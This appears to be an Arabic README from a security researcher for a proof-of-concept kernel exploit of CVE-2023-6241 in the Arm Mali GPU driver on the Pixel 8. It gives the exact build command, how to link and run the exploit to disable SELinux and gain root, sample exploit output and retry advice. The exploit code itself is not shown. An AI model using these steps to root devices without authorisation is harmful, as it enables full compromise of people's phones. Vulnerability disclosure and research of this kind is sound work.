
CVE-2023-6241 لـ Pixel 8
يمكن العثور على الشرح هنا. هذه ثغرة في مشغّل نواة Arm Mali قمت بالإبلاغ عنها في نوفمبر 2023. يمكن استخدام الثغرة للحصول على تنفيذ كود تعسفي في النواة من مجال التطبيقات غير الموثوقة، والذي يُستخدم بعد ذلك لتعطيل SELinux والحصول على صلاحيات الجذر.
تم اختبار الاستغلال على Google Pixel 8 مع تحديث نوفمبر 2023 (UD1A.231105.004). يجب تجميعه مع OpenCL وربطه مع مكتبة OpenCL libGLES_mali.so. يمكن العثور على المكتبة على جهاز Pixel 8 في vendor/lib64/egl/libGLES_mali.so، ويمكن العثور على ملفات رأس OpenCL في مستودع OpenCL-headers الخاص بـ KhronosGroup. إصدار ملف الرأس الذي استخدمته هو v2023.04.17، على الرغم من أن الإصدارات الأخرى يجب أن تعمل أيضًا. للرجوع إليها، استخدمت الأمر التالي للتجميع باستخدام clang في ndk-26:
android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf
يحتاج الاستغلال إلى الربط مع libGLES_mali.so. يمكن القيام بذلك عن طريق تعيين LD_LIBRARY_PATH إلى /vendor/lib64/egl. نادرًا ما يفشل الاستغلال، وحتى في حالة فشله، فإنه عادةً لا يفسد النظام أو يسبّب تعطله. لذا في حالة فشله، يمكن إعادة تشغيله. إذا نجح، فمن المفترض أن يعطّل SELinux ويحصل على صلاحيات الجذر.
shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf
mali_fd 3
corrupted_jit_addr 6000001000
kernel success
kernel success
queue kernel
jit_grow addr 6000001000
Size after grow: 22f6
Final grow size: 23c7
keep alive jit_addr 60023d1000
Size after free: 21fd, trim_level 6
writing to gpu_va 6002301000
found reused page 5fffef6000, 0
pgd entry found at index 0 40000899bbc443
overwrite addr : 5ffff00b50 b50
overwrite addr : 5fffb00b50 b50
overwrite addr : 5fff900b50 b50
overwrite addr : 5ffff00714 714
overwrite addr : 5fffb00714 714
overwrite addr : 5fff900714 714
result 50
clean up
عند التشغيل لأول مرة، يتوقف الاستغلال أحيانًا بعد طباعة آخر رسالة overwrite addr. إذا حدث ذلك (توقف لأكثر من 10 ثوانٍ، على الرغم من أن التوقف لبضع ثوانٍ أمر طبيعي)، فما عليك سوى إنهاء الاستغلال وإعادة تشغيله. يجب ألا يتوقف في المرة الثانية.
لاختباره مع تفعيل MTE، اتبع هذه التعليمات لتفعيل MTE في النواة.